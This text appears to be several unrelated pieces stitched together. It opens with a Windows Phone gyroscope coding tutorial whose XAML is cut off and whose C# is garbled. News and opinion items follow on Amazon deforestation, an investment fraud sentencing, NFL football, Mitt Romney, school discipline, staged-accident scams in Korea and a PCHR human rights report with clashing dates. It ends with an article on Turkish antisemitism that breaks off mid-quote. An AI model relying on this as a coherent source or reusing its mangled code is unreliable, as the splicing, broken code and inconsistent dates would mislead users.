(Gyroscope.IsSupported)  {  // DO SOMETHING  }  }  }  }  Now we just need to fill in that “DO SOMETHING” comment. In order to do this, let’s start with a user interface that will shows our Gyroscope data.  In the UI above, we have three TextBoxes to show the raw data, and three lines to reflect the degree of each value. To recreate this interface, use the following XAML as your page:  < Grid x : Name ="LayoutRoot" Background ="Transparent">  < Grid.RowDefinitions >  < RowDefinition Height ="Auto"/>  < RowDefinition Height ="*"/>                                  In the code example below, we create a new Gyroscope object, and after checking to make sure that the Gyroscope is supported with the Gyroscope.IsSupported boolean value, we create an event handler for CurrentValueChanged.  using System;  using Microsoft.Phone.Controls;  using Microsoft.Devices.Sensors;  using Microsoft.Xna.Framework; System;Microsoft.Phone.Controls;Microsoft.Devices.Sensors;Microsoft.Xna.Framework; namespace Day5_Gyroscope  {  public partial class MainPage : PhoneApplicationPage  {  Gyroscope g;  public MainPage()  {  InitializeComponent(); if (Gyroscope.IsSupported)  {  g = new Gyroscope();  g.TimeBetweenUpdates = TimeSpan.FromMilliseconds(20);  g.CurrentValueChanged += new EventHandler>(g_CurrentValueChanged);  g.Start();  }  else statusTextBlock.Text = "gyroscope not supported";  } void g_CurrentValueChanged(object sender, SensorReadingEventArgs e)  {  Dispatcher.BeginInvoke(() => UpdateUI(e.SensorReading));  } private void UpdateUI(GyroscopeReading gyroscopeReading)  {  statusTextBlock.Text = "getting data";  Vector3 rotationReading = gyroscopeReading.RotationRate; xTextBlock.Text = "X " + rotationReading.X.ToString("0.00");  yTextBlock.Text = "Y " + rotationReading.Y.ToString("0.00");  zTextBlock.Text = "Z " + rotationReading.Z.ToString("0.00"); xLine.X2 = xLine.X1 + rotationReading.X * 200;  yLine.Y2 = yLine.Y1 – rotationReading.Y * 200;  zLine.X2 = zLine.X1 – rotationReading.Z * 100;  zLine.Y2 = zLine.Y1 + rotationReading.Z * 100;  }  }  }  The Gyroscope, like the Compass, allows our event handler method to fire every time the Gyroscope detects a new value after waiting the duration that the TimeBetweenUpdates property specifies. In our example, we will get updates no faster than every 20 milliseconds.  You should notice a possibly unfamiliar bit of code in our g_CurrentValueChanged method:  Dispatcher.BeginInvoke(() => UpdateUI(e.SensorReading));  The reason we use this is because we want to move the reading of our sensor to a separate processing thread. Without it, we would be trying to use the UI thread to access the Gyroscope, which will always throw an error. In Windows Phone, we are not allowed to lock up the UI thread, and so for many examples like this one, we will want to pitch our process to a separate thread.  We still pass the entire GyroscopeReading object to our new thread-safe method, UpdateUI, which allows us to gather each of the X, Y, and Z values from the Vector3 value RotationRate. We are displaying the data values in TextBlocks, but the cool data visualization is in those Line elements we created in our XAML.  If you imagine each line segment to represent a different data point (the red horizontal line is X, the yellow vertical line is Y, and the blue diagonal line is the Z axis. You could then manipulate the lengths of these lines to represent the rotational velocity of the device. Each of these calculations will extend the length of their respective lines, giving you a very illustrative example of what types of rotation your device is experiencing.  Remember, the code sample covered in this article will only work on devices that have a Gyroscope available. The emulator, as well as all original Windows Phone 7 devices do not have this sensor. Here’s a quick video of what this application looks like running on a device with a gyroscope:  Summary  The Gyroscope is a handy little sensor. It lets us get a very accurate picture of the device’s movement in space, which is especially useful when creating applications that use augmented reality. To download the sample application that this article discussed, click the Download Code button below:  Microsoft also created a new class in Windows Phone 7.5 called Motion, which combines the data from the Gyroscope, Accelerometer, and Compass to give us an amazing amount of accuracy. This Motion class is the topic of tomorrow’s article, and we will cover it in detail, including how to determine the “attitude” of a device, which includes pitch, yaw, and roll. See you then!
-Brazil's Amazon rainforests — the largest in the world, get smaller each year. A report based on satellite data from July 2014 to August 2015, showed deforestation of over 5,831 sq km. Taken aback by the 16% increase in deforestation in just one year, Brazil's Environment Minister Izabella Teixeira has called a meeting of governors of the states affected the most to discuss the situation. "Pressure for more logging is again strong and coming from agriculture and livestock activities," Teixeira said.  The report released by Brazil's environment ministry comes at a sensitive time — days before the UN Climate Change Conference in Paris where representatives from across the globe will work on hammering out a new global climate agreement.  The Amazon is a treasure trove of biodiversity, representing over half of the planet's rainforests, with the largest collection of varied species of plants and animals. With demand for land constantly mounting, vast stretches of the forest have been razed, destroying numerous ecosystems and displacing animals. A study published by the American Association for the Advancement of Science (AAAS) in October estimated that over half the species of trees in the Amazon are on the verge of extinction.  "Forests in the Amazon have been declining since the 1950s, but (until now) there was a poor understanding of how this has affected populations of individual species," said Carlos Peres at the University of East Anglia, one of the 158 scientists from 21 countries who worked on the study.  The research predicted that "At least 36% and up to 57% of all Amazonian tree species are likely to qualify as globally threatened under International Union for Conservation of Nature (IUCN) Red List criteria. If confirmed, these results would increase the number of threatened plant species on Earth by 22%."  Even though deforestation of the Brazilian Amazon has increased, it still remains lower than what it was a decade ago after the government introduced tougher measures. In 2004, almost 30,000 sq km was lost to deforestation.  Brazil has 60% of the rainforest area, but Amazonia extends into other countries like Peru with 13% and Colombia with 10% along with minor stretches in Venezuela, Ecuador, Bolivia, Guyana, Suriname and French Guiana which have witnessed relentless deforestation.  While reporting on the projected forest loss, the AAAS study said: "The business-as-usual (BAU) scenario model estimates that, by 2050, 40% of the original Amazon forest will be destroyed if proper regulations are not put in place to preserve it."
-— A federal judge handed down a six-year prison sentence Thursday to a man who portrayed himself as a member of a wealthy Pakistani family while running a multimillion-dollar investment scam involving three former Miami Heat players and the team itself.  Judge Edmund Sargus also ordered Haider Zafar to pay $15.7 million in restitution to his victims and three years supervision after his release. Zafar, 36, a legal U.S. resident, could face deportation to his native Pakistan after leaving prison.  Zafar defrauded players Mike Miller, James Jones and Rashard Lewis in 2013 by promising to invest millions of dollars in various business opportunities, according to the government. He also received a $1 million, three-season Heat ticket package he never paid for, the government said.  Zafar pleaded guilty last year in federal court in Columbus to five wire fraud charges that each carry maximum 20-year prison sentences. That case was consolidated with another against Zafar, in which the defendant previously pleaded guilty to swindling a Washington, D.C., businessman out of $10 million between 2008 and 2010.  Zafar apologized for his actions and attempted to defend some of what happened involving the Washington businessman.  Andrew Fine, a lawyer representing the businessman and the former Heat players, argued for a longer sentence in a Tuesday letter sent to Sargus.  Zafar was an "inveterate" criminal who thumbed his nose at the government even when he was under investigation, Fine wrote.  "Despite knowledge that his fraud had been discovered in one jurisdiction, he continued to perpetuate a similar fraud in another jurisdiction," the letter said.  Zafar's attorney Sam Shamansky argued for a sentence closer to four years, saying Zafar had overcome tremendous personal obstacles - including being left penniless by family members - when he emigrated to the U.S. as a young man. He also said Zafar had struggled with addictions to painkillers after an accident.  Nevertheless, Zafar overcame such struggles and has "done well for himself, but for these two unfortunate incidents," Shamansky said.  Zafar got his hand caught in the till after preying on wealthy people, Tracey Warren, special agent in charge for the IRS criminal division in Cincinnati, said after the hearing.  Testimony by an FBI agent portrayed Zafar as a man who talked big as he persuaded the Heat players to give him millions of dollars for investments that never materialized.  Zafar boasted of $35 million in a Swiss bank account and luxury residences in New York City and Miami and was often seen being chauffeured in a yellow Ferrari, a white Bentley and a black Escalade, FBI agent David Fine testified last year.  Zafar persuaded the Miami Heat's vice president of sales to sell him a premium three-season ticket package for $1 million after explaining about his "family history and influence," including ownership of hotels, companies and other business ventures, Fine said.  Zafar convinced Miller to give him $2.6 million, Lewis to give him $4 million and Jones to give him $1.5 million, all for an investment opportunity that Zafar said would "quickly obtain a significant return." But rather than reimburse the Miami Heat or three individuals, Zafar used the money "for his personal use and benefit," Fine said.
-There is one encouraging element from the Steelers’ AFC Wild Card win over the Cincinnati Bengals Saturday night that did not involve the impulse control problems of Vontaze Burfict or Adam Jones, the health of Ben Roethlisberger’s shoulder or the fuzziness inside Antonio Brown’s head.  It’s an element that helped them throughout the game, long before that chaotic, epic period between when Burfict sacked Roethlisberger — causing him to leave the game with an injured shoulder — and when A.J. McCarron’s final desperation heave fell to the turf at Paul Brown Stadium.  It’s the same element that might give the Steelers a fighting chance next Sunday in Denver against the Broncos. And it’s the same element they lacked last season when they lost a home playoff game to the Baltimore Ravens.  Hold on, let me rephrase. Technically, they are two elements that when combined prove to be pretty explosive: running backs Fitzgerald Touissant and Jordan Todman, a.k.a. “TNT.”  Say what you want about Mike Tomlin’s decision-making throughout this season. Despite having three different quarterbacks drop back to pass, four kickers teeing up, four kick returners fielding balls in the end zone and five different running backs taking carries, at least with the latter of those ongoing changes he learned not to make the same mistake twice.  He could’ve done the same thing he did after Le’Veon Bell went down during the regular season finale last year against those same Bengals. He could’ve went for another free agent re-tread off the street and given him just a week to learn the playbook, memorize the protections and hope for the best like he did with Ben Tate.  But instead he put his faith in two backs who have combined for only 22 carries this season, but have at least been with the team all season. Todman was signed as a free agent to provide depth should this very situation arise. Toussaint was a practice squad player who eventually rose to the active roster and unseated Isaiah Pead.  There are a few reasons why Mike Tomlin’s players love playing for him. He goes out of his way to avoid blasting them publicly (even though sometimes it is the necessary thing to do). He keeps the details of his personal conversations with individual players regarding discipline issues confidential, completely eschewing public criticism from media and fans alike.  And when the time comes for a reserve to step into a starting role, he publicly puts his trust in that newly-made starter and works to build their confidence, whether they need it or not.  This time he put that faith in two men pressed into that position, and it paid off with 32 combined touches for 183 yards and one play of 20-plus yards apiece from each back for good measure.  Touissant’s ability to gain tough yards between the tackles, assist in pass protection and catch passes out of the backfield blended with Todman’s speed, shiftiness and patience. If one weren’t too careful, they might’ve looked into the backfield and seen 26 or 34 on those jerseys instead of 33 and 30.  Believe it or not, turning the reps over to an inexperienced running back during a playoff run isn’t a totally unfamiliar concept. The Green Bay Packers turned to rookie James Starks, only 29 carries young in his professional career, as their feature back during their playoff run as the no. 6 seed in the NFC in 2010.  Starks answered the call with 315 yards on 88 carries and a touchdown in the four games the Packers played on the way to a Super Bowl XLV victory over… *cough* …the Pittsburgh Steelers. He wasn’t great, but he was good enough to help Green Bay win three of those four games by a touchdown or less.  The Steelers’ running backs don’t have to be great to stay on the road to Levi’s Stadium for Super Bowl 50. But last Saturday night they were good enough to win. And next Sunday night in Denver, they’ll get another chance to do it again.  And in this particular case, maybe two backs are better than one.
-Jonah, I agree with you on the general tin-ear of Romney. He’s extremely un-nimble on the stump, which means that Republicans will be gambling that he can be sufficiently insulated and managed across the finish line without offering up any campaign-detonating hostage to fortune.  But, beyond that, I’m less sanguine about the underlying worldview that “I’m not concerned about the very poor” betrays. Romney:  We will hear from the Democrat party, “the plight of the poor,” and there’s no question, it’s not good being poor. . . . We have a very ample safety net and we can talk about whether it needs to be strengthened or whether there are holes in it, but we have food stamps, we have Medicaid, we have housing vouchers, we have programs to help the poor.  Advertisement  The Pundette responds:  I know Romney gives generously to charity but what a cold fish he is… A conservative candidate would talk about increasing opportunity for the very poor, about lessening the need for food stamps and housing vouchers by reducing government and invigorating the economy, rather than touting the awesomeness of our massive, dependency-inducing welfare state and suggesting it might need some beefing up.  Advertisement  Advertisement  Romney’s is a benevolent patrician’s view of society: The poor are incorrigible, but let’s add a couple more groats to their food stamps and housing vouchers, and they’ll stay quiet. Aside from the fact that that kind of thinking has led the western world to near terminal insolvency, for a candidate whose platitudinous balderdash of a stump speech purports to believe in the most Americanly American America that any American has ever Americanized over, it’s as dismal a vision of permanent trans-generational poverty as any Marxist community organizer with a cozy sinecure on the Acorn board would come up with.  After half-a-century of evidence, what sort of “conservative” offers the poor the Even Greater Society? I don’t know how “electable” Mitt is, but, even if he is, the greater danger, given the emptiness of his campaign to date, is that he’ll be elected with no real mandate for the course correction the Brokest Nation in History urgently needs. In last Monday’s debate, Newt said he wasn’t interested in going to Washington to “manage the decline”. Mitt’s just told us that he’s happy to “manage the decline” for the poor – but who knows who else?
-It had been a difficult summer for Darian (not his real name). The 14-year-old had recently lost his father to a homicide. He had grown sullen and prone to angry outbursts and had recently texted to a friend, "You say that to me again and I'm going to kill you," in response to a taunt.  Darian had no history of violent behavior, but the family had grown concerned about his emotional health, according to his grandmother Eunice Haigler. In a phone conversation, she tells me they hoped once Darian started school again in the fall, he would have access to a school counselor who would be able to help him with his emotions.  But on the first day of the new school year, what Darian encountered instead of a counselor was a cop. Municipal police took Darian into custody, charged him with making threats via an electronic device and saddled him with a criminal record. The involvement of police in school-related incidents like Darian's alarms Haigler. Not only are city police more involved, she observes, but uniformed police in schools, typically called school resource officers or SROs, are an ever-present chance of students getting entangled with law enforcement.*  "Since SROs got involved in schools," Haigler says, "our kids are getting arrested for issues that used to be taken care of with a trip to the principal's office." Having police in schools, she maintains, "takes issues out of the school. [The SROs] treat kids as little criminals."  Another student, Denise (also not her real name) displayed behavior problems and impulsivity in elementary school and eventually was diagnosed ADHD with depression and provided an Individual Education Plan (IEP) to ensure her teachers were aware of and responsive to her needs.  Her mother, Tyran Green, tells me in a phone conversation that the system was working well for Denise until her school district changed to a zero tolerance discipline policy, and suddenly every small act of impulsivity Denise committed was resulting in an out-of-school suspension. After her last suspension, during her sophomore year of high school, Denise grew completely despondent and attempted suicide.  SPONSORED  Green, a single mother of five children, has had to deal with out-of-school suspensions with four of her children.  "Zero tolerance policies make things worse," says Green. "Many parents complain about these policies but have a hard time voicing those complaints because they have to work two jobs and are too busy or they think it’s a lost cause."  These personal accounts bring to mind disturbing videos that recently went viral, showing an SRO at a South Carolina high school flipping a student out of her chair and a school cop in Texas body-slamming a 12-year-old girl to the ground.  The presence of SROs in schools and the frequent use of out-of-school suspensions both tend to correlate with higher numbers of children and teens being pushed into the criminal justice system. For this reason, these approaches to disciple are often associated with what has become known as the school-to-prison pipeline.  Recent declarations from civil rights groups and policy statements from government officials have called for changes in discipline codes, new guidelines for SROs, and an end to the school-to-prison pipeline. But nothing will likely change for students like Darian and Denise until parents, educators and education justice advocates mobilize on the ground to demand positive changes.  A National Problem  Studies showing the high correlation of out-of-school suspensions to eventual involvement in the criminal justice system are well known among policy circles. A 2011 study by the Council of State Governments Justice Center found that being suspended or expelled from school made a student nearly three times more likely to come into contact with the juvenile justice system within the next year.  A 2015 report from the UCLA Civil Rights Project found that out-of school suspensions are disproportionally used on students of color and students with disabilities. In the most recent year with available data, 16 percent of black students and 7 percent of Latino students were suspended, while the rate for white students was 5 percent. Students with disabilities had suspension rates that were two to three times their peers.  The presence of SROs in school often makes matters worse. A recent study by the American Bar Association found, "A police officer’s regular presence at a school significantly increases the odds that school officials will refer students to law enforcement for various offenses, including these lower-level offenses that should be addressed using more pedagogically-sound methods."  As law enforcement officers in school proliferate, counselors and other support staff have become scarcer. According to a recent study from the Center for American Progress, nearly 35 million children in the U.S. live with emotional and psychological trauma, yet "only a fraction of these students—approximately 8 million of them—have access to a school psychologist. Even fewer students have access to a social worker. Across the nation, only 63 percent of public schools even offer all students a counselor."  Darian and Denise attend schools in Virginia—Spotsylvania and Portsmouth, respectively—where problems associated with overly harsh school discipline policies are worse than in virtually any other state.  Virginia, Nation's Worst  According to data obtained from the U.S. Department of Education in 2015, "Virginia schools in a single year referred students to law enforcement agencies at a rate nearly three times the national rate," according to a report from the Center for Public Integrity.  CPI found that referrals "turned into thousands of complaints filed in courts, many of them against preteens. The most frequent complaints are for disorderly behavior."  Among the individual cases CPI examined was a 12-year-old girl who was charged with four misdemeanors, including obstruction of justice for “clenching her fist” at a school cop. In another case, an 11-year-old boy, diagnosed as autistic, kicked a trashcan during a tantrum and was charged with disorderly conduct by the SRO who witnessed the event.  Haigler knows of similar incidents at the schools her grandchildren attend, including a young boy charged with damaging property for knocking over a potted plant and an elementary student who was suspended for wanting to go to the bathroom.  Out-of-school suspensions and encounters with law enforcement during teen and preteen years can have lifelong consequences for students. As the authors of the UCLA study cited above write, "The damage wrought by this 'pipeline' does not end with prison; it goes on to cause voter disenfranchisement, degradation of health and culture, and a shorter life expectancy."  The alarming data related to school suspensions, SROs, and their impacts have started to influence policy makers and the advocacy work of national organizations.  Getting Attention At The Top  Faced with the scathing revelations of Virginia's top rank in the school to prison pipeline, Governor Terry McAuliffe announced in 2015 "a new initiative aimed at decreasing student suspensions, expulsions and referrals to law enforcement," according to local news sources.  The initiative was spearheaded by Anne Holton, who was Virginia's Secretary of Education at the time. (Holton is the wife of Tim Kaine, the vice-presidential candidate for the Democratic Party.) The initiative called for "joint training for school administrators and school police officers so both groups are aware of the dangers of criminalizing kids," according to a report by CPI.  The Obama administration has taken similar action. Recently, "the Department of Education and Department of Justice," according to U.S. News & World Report, "sent letters to states and school districts emphasizing the importance of well-designed training programs for school resource officers."  National civil rights groups urge stronger action. As Education Week reports, Dignity in Schools, a coalition of over 100 organizations promoting alternatives to zero-tolerance discipline policies, recently called for the removal of law enforcement from schools and for new forms of discipline and student supports.  Pronouncements from government officials and national advocacy groups are helpful. But local advocacy is as important, if not more so.  Action Needed on the Ground  In Virginia, despite the initiative being put into place by the governor and his education chief, incidents of overly harsh discipline and problems related to the presence of SROs persist.  As the Washington Post reports, a 15-year-old student recently went on trial in a Prince William County courthouse for stealing a 65-cent carton of milk in the school cafeteria. In Richmond, high suspension rates have prompted black students to file a civil rights complaint against their school district, alleging that discipline practices in their schools are unfair.  In Spotsylvania, Portsmouth and other communities, the grassroots advocacy group Virginia Organizing is mobilizing parents and education justice advocates to demand alternatives to suspensions and more restrictions on SROs. VO is an affiliate of People's Action, a nationwide network of 29 advocacy groups and some 600 organizers.  In Spotsylvania, VO activists have attended school board meetings to call for alternatives to out-of-school suspensions, according to the organization's website. They've also demanded the school district follow guidelines issued by Governor McAuliffe governing the placement and duties of SROs.  Haigler, whose grandson Darian's criminal charges took nearly two years to resolve, is part of the effort to insist the district review the memorandum of understanding governing SROs and ensure that officers' duties are confined to safety and restricted from getting involved in student behavior matters.  "I've worked very well with educators," she says, "but SROs haven’t been trained in cultural competency … and make the mistake of treating kids like little adults."  In Portsmouth, where schools issued more than 2,200 suspensions in the 2014-2015 school year, VO has helped organize a group of parents, educators, and local activists, called Community Advocates for Portsmouth Students (CAPS), to "raise awareness of the problem, create solutions, and work with the school board to reduce the numbers."  According to the article, Green, a CAPS member, is helping to get parents more involved in the advocacy effort. In my interview with her, she tells me the first duty of all parents is to get informed and get involved.  "Teachers aren't the problem," she says. More often than not, they are overworked and under-supported by the school administration. So parents have to be their children's best advocates.  To prove her point: her four older children graduated high school, despite three of them having to deal with school suspensions, and eventually became college graduates as well. She is anticipating that Denise, now a senior in high school, will eventually be a college graduate too. She is a straight-A student. The school suspension that drove her to attempt suicide almost robbed her of that bright future.  *Correction: This article was amended to clarify the type of officer who arrested Darian. He was arrested by a municipal police officer, not an SRO, as previously stated.
-(Image: Earth candle via Shutterstock)Maybe you bought a hybrid automobile. Maybe you take public transportation instead of owning a car or truck. Maybe you have outfitted your home with the latest energy-saving gadgets in an effort to reduce your carbon footprint. These are laudable and effective ways to combat global climate change. And while those efforts do have an effect, there are other ways to make great strides in stemming the catastrophic effects of climate change.  In this “Truthout Interviews,” Bruce Melton and I discuss global climate change and the way in which the media tends to amplify climate change deniers out of “fairness.” We highlight a technology called “sky mining” that may be the best technological approach to making a lasting effect on reducing the amount of carbon in the atmosphere.
-425 SHARES Facebook Twitter Sign up and we notify you about new features and Add-Ons  A  new style of con is spreading across South Korea and it could cost you thousands of dollars.  Korean con artists carefully select a vehicle to run out in front of and pretend to get injured by the supposed collision with the car.  They make a scene, the police arrive, and it usually becomes the con artists word against the drivers.  Con artists target specific individuals who appear to be new drivers, those who drive as their job, those violating a traffic law such as speeding or failing to pay attention to the road, truck drivers, or ladies under the presumption the police will perceive as inferior drivers.  The more experienced scammers work in groups so that the person pretending to be hit by the car has witnesses that confirm their story. This forces individuals into a position where they pay the fraudster to prevent further legal action.  Many con artists have extorted thousands of dollars from unsuspecting drivers who usually want to avoid getting the police or courts involved.  “Police estimate one con group they arrested in Cheongju made 541.45 million won from using this scamming technique 81 times. That is nearly 6.7 million won scammed from each victim”  Police estimate one con group they arrested in Cheongju made 541.45 million won from using this scamming technique 81 times. That is nearly 6.7 million won scammed from each victim.  Another scammer in Chungcheong Province made 18.6 million won($17,200) by extorting from 16 victims. A more sophisticated group rented a car as a prop for this con and managed to extort 30 million won and repeat this scam 7 times before police caught them.  There are many more cases where the police have caught fraudsters such as these.  Dash-cam footage obtained by the Korea Observer from the public domain demonstrates men aggressively jumping onto the bonnet of a slowly moving car and smashing the windscreen with their hand before rolling off the bonnet and yelling as if they had been run into.  Other footage from YouTube clearly shows some lazy scammers who lack the enthusiasm to make a substantial effort. Several dash-cam clips show Korean scammers running toward a stationary car. They then lay on the bonnet or on the ground in front of the vehicle.  When the scammer tries to argue that they were hit, the driver often points at their dash-cam and the offender runs away.  One fellow who tried this scam was not so lucky. He can be seen to pretend to fall in front of a Korean lady driving a small car. She then accidentally drives over the top of him. He can be heard screaming in agony while she slowly continues driving in disbelief that a speed bump had somehow got under her car.  Those engaging in this scam face up to seven years imprisonment or a 15 million won fine.  It is essential that any expat driving in Korea have a dash-cam to avoid being unfairly sued for hitting pedestrians.
-PCHR Weekly Report: One civilian killed by right-wing Israelis; 6 wounded by Israeli troops  9:33 PM  In its Weekly Report On Israeli Human Rights Violations in the Occupied Palestinian Territories for the week of 10 – 16 February 2011, the Palestinian Center for Human Rights (PCHR) found that a Palestinian civilian was killed by a gang of Jewish Israeli youth in Jerusalem. 4 Palestinian workers, including a child, were wounded by Israeli forces targeting Palestinian workers, farmers and fishermen in border areas in the Gaza Strip. Two Palestinian civilians, including a child, were wounded by Israeli forces who used force against peaceful protests in the West Bank.On Friday morning, 11 December 2011, Hussam Hussein al-Rwaidhi, 24, from Jerusalem, was killed by a number of Jewish young men, when he was on his way home from work in West Jerusalem. While he was walking with his friend, Khader al-Joulani, on a street in West Jerusalem, a Jewish young man stabbed him in the face. Soon after, other Jewish young men gathered and violently beat him. He died of his injuries a few hours later.  In his testimony to PCHR, Khader al-Joulani stated: ‘When we left our work, we were surprised by two Jewish young men. They provoked and insulted us. One of them then took out a knife and hits Hussam on his face. More Jewish young men gathered and violently beat him and me. I was injured in the neck. When the attackers fled, I asked for help from a nearby restaurant, but the staff refused to help us. I called the police. An ambulance arrived then and evacuated Hussam to the hospital, but he died a few hours later.’  Israeli forces kept al-Rwaidhi’s body in the Israeli forensic medicine institute. The Israeli police called the victim’s father and informed him that they would deliver the body at Qalandya checkpoint at night. They also ordered him to bury the victim’s body with the presence of 10 relatives only. Israeli forces delivered the victim’s body to the family on Wednesday morning, 16 February 2011, and the body was buried at 04:30 on the same day.  Israeli attacks in the West Bank:  Israeli forces conducted 47 incursions into Palestinian communities in the West Bank and a limited one into the Gaza Strip, during which they abducted 19 Palestinian civilians, including 4 children and one woman.  In one example of the week’s 47 incursions, on Thursday, 10 December 2011, at approximately 06:30, Israeli forces moved into Beit Dajan village, east of Nablus. They patrolled in the streets and photographed a number of old homes, the building of the local council and the old mosque of the village. They withdrew later and no arrests were reported. On the same day, at approximately 18:00, Israeli forces moved into Beit Liqya village, west of Ramallah, and patrolled in the streets. A number of Palestinian children gathered and threw stones at Israeli military vehicles. Immediately, Israeli soldiers fired rubber-coated metal bullets , sound bombs and tear gas canisters at them. As a result, a number of Palestinian civilians suffered from tear gas inhalation. Israeli forces withdrew later and no arrests were reported.  There are approximately 585 permanent roadblocks, and manned and unmanned checkpoints across the West Bank. At least 65% of the main roads that lead to 18 Palestinian communities in the West Bank are closed or fully controlled by Israeli forces. There are approximately 500 kilometers of restricted roads across the West Bank. In addition, approximately one third of the West Bank, including occupied East Jerusalem, is inaccessible to Palestinians without a permit issued by the Israeli forces. These permits are extremely difficult to obtain.  Israeli attacks in the Gaza Strip:  On Saturday 12 February, at approximately 12:15, Israeli soldiers stationed on observation towers on the border between the Gaza Strip and Israel to the north west of Beit Lahia town fired at a number of Palestinian workers who were collecting scraps of construction materials from a site where the evacuated Israeli settlement of ‘Elli Sinai’ used to stand. As a result, Mahran Rezeq Tanboura, 25, from Beit Lahia, was wounded by a bullet to the left knee, when he was nearly 200 meters away from the border. At approximately 13:00, Israeli soldiers fired at the workers again. As a result, ‘Aashour Mohammed Shkhaidem, 29, from Beit Lahia, was wounded by a bullet to the left knee, when he was nearly 200 meters away from the border.  In the evening of the same day, Israeli soldiers positioned at the border between the Gaza Strip and Israel to the east of Gaza City fired at a number of Palestinian workers who were collecting scraps of construction materials in the east of al-Shuja’iya neighborhood east of Gaza City. As a result, Mohammed Sa’id Eshtaiwi, 16, from al-Zaytoun neighborhood in Gaza City, was wounded by a bullet to the right leg, when he was nearly 800 meters away from the border.  On Monday, the 14th of February, at approximately 09:50, Israeli soldiers stationed on observation towers on the border between the Gaza Strip and Israel to the north west of Beit Lahia town fired at a number of Palestinian workers who were collecting scraps of construction materials from a site where the evacuated Israeli settlement of ‘Elli Sinai’ used to stand. As a result, Suleiman Salem Abu Rkab, 20, from Beit Lahia, was wounded by a bullet to the left leg, when he was nearly 200 meters away from the border.  Israeli Settlement Activities:  Israel has continued its settlement activities in the West Bank in violation of international humanitarian law, and Israeli settlers have continued to attack Palestinian civilians and property.  On 13 February 2011, a number of Israeli settlers from ‘Bat Ain’ settlement to the north of Beit Ummar village, north of Hebron, uprooted 250 olive seedlings from lands belonging to ‘Aadi and Ekhlil families in the nearby Safa village.  On 14 February 2011, Israeli forces razed a one-donum area of land belonging to Nasser Khalil Abu Ta’a in Sheikh Jarrah neighborhood in East Jerusalem. At least 40 olive, almond and apricot trees, 7 grape trees and 20 cypress ones were uprooted. According to Abu Ta’a, Israeli police officers violently beat his son, 16-year-old Hamza, and cut his identity card. Israeli forces did not present a judicial order to raze the land, and claimed that the land leveling was for security considerations.  Also on 14 February 2011, Israeli forces handed notices to a number of Palestinian civilians ordering the evacuation of 20 donums of agricultural land near the annexation wall in Kharas village, northwest of Hebron, claiming that they are state property. These areas of land, which are planted with olives and almonds, are located nearly 300 meters away from the annexation wall.  On the same day, 14 February 2011, a number of Israeli settlers from ‘Halmish’ settlement, northwest of Ramallah, uprooted 12 olive seedlings in Wad Raya area in Nabi Saleh village. Israeli forces then moved into the area and evacuated the settlers.  Israeli Annexation Wall:  Construction on the Wall continued this week. When complete, the illegal Annexation Wall will stretch for 724 kilometers around the West Bank, further isolating the entire population. 350 kilometers of the Wall have already been constructed. Approximately 99% of the Wall has been constructed inside the West Bank itself, further confiscating Palestinian land.  During the reporting period, Israeli forces used excessive force to disperse peaceful demonstrations organized in protest to Israeli settlement activities and the construction of the annexation wall in the West Bank. As a result, two Palestinian civilians, including a child, were wounded, and dozens of Palestinian civilians and international human rights defenders suffered from tear gas inhalation or sustained bruises. Additionally, Israeli forces abducted 3 Palestinian civilians.  Following the Friday Prayer on 11 February 2011, dozens of Palestinian civilians and international and Israeli human rights defenders organized a peaceful demonstration in Bil’in village, west of Ramallah, in protest to the construction of the annexation wall. Israeli soldiers stationed in the area fired rubber-coated metal bullets, sound bombs and tear gas canisters at the demonstrators. As a result, two Palestinian civilians, including a child, were wounded. Additionally, a number of demonstrators suffered from tear gas inhalation.  Also following the Friday Prayer on 11 January 2011, dozens of Palestinian civilians and international and human rights defenders organized a peaceful demonstration in Ne’lin village, west of Ramallah, in protest against the construction of the annexation wall. They clashed with Israeli troops positioned near the Wall. Israeli troops fired rubber-coated metal bullets, sound bombs and tear gas canisters at demonstrators. As a result, a Palestinian civilian, who has not been identified, was hit by a tear gas canister to the right foot. Additionally, a number of demonstrators suffered from tear gas inhalation.  Also following the Friday Prayer on 11 February 2011, dozens of Palestinian civilians and international and Israeli human rights defenders organized a peaceful demonstration in Beit Reema village, northwest of Ramallah, in protest against land confiscations in the Wad al-Raya area between the villages of Nabi Saleh and Deir Nizam. When the demonstrators attempted to reach areas of land seized by Israeli settlers near ‘Halmish’ settlement, Israeli troops fired rubber-coated metal bullets, sound bombs and tear gas canisters at them. As a result, a number of demonstrators suffered from tear gas inhalation. Israeli forces also abducted 3 Palestinian civilians:  Recommendations to the international community:  Due to the number and severity of Israeli human rights violations this week, the PCHR made a number of recommendations to the international community. Among these were a recommendation that the Advisory Opinion issued by the International Court of Justice, which considers the construction of the Annexation Wall inside the West Bank illegal, be implemented by international enforcement bodies.  In addition, the PCHR recommends that international civil society organizations, including human rights organizations, bar associations and NGOs, participate in the process of exposing those accused of grave breaches of international law and urge their governments to bring the perpetrators to justice.  For the full text of the report, click on the link below:
-A special “tax” for Jews.  Praise for Adolf Hitler.  References to “camps” for Jews.  And threats galore.  A time out of history, before World War II’s death and destruction rained down on Europe?  It’s all being heard today in Turkey, as anti-Semitism reaches new highs and Muslims appear to be organizing for a new caliphate, according to the Middle East Media Research Institute.  The organization reported Friday that a recent survey in Turkey found that in just 24 hours, on July 17-18, 27,309 Turkish Twitter users sent 30,926 Turkish-language tweets in support of Hitler’s genocide against the Jews.  The report said anti-Semitic “incitement” by Turkish government officials is at levels not seen in years.  Turkish President Recep Tayyip Erdogan calls Israel more barbaric than Hitler, and the media, which supports his party, regularly accuse Turkey’s Jews of “treason.” Other accusations include connecting Jews with the use of Ebola as a biological weapon and a professor tweeted about sending Jews to Treblinka.  Treblinka was one of Germany’s notorious World War II death camps.  See Turkey being transformed into Hitler’s Germany in Joel Richardson’s “End Times Eyewitness.” History is repeating itself as Turkey prepares to become the center of the Islamic Caliphate once again.  Calling anti-Semitism is an accepted part of Turkish government discourse, MEMRI also noted that in protests after the May mine collapse in Soma, Erdogan scuffled with a miner, calling him “sperm of Israel.”  In September, while Erdogan was insisting to the Council on Foreign Relations that neither he nor his government was anti-Semitic, members of his party back home were tweeting praise for Hitler, and shops in Istanbul were displaying signs reading ‘No Admittance To Jewish Dogs,” MEMRI reported.  The MEMRI report cited the writings of Muslim columnist Ibrahim Tenekeci of the daily Yeni Safak, who penned “Of Men and Jews.”  Read the fascinating report by bestselling author Ray Comfort on how Hitler misused Christianity in his rise to power that allowed him to exterminate millions of Jews, in “Hitler God and the Bible.”  He cited the work of 1960s writer Nurettin Topcu, who wrote that Jews are “the eternal curse of mankind.”  “‘No doubt, Allah has created the Jewish tribe as the curse to mankind,'” Tenekeci quoted. “‘The Jewish tribe has been sent to the world in order to 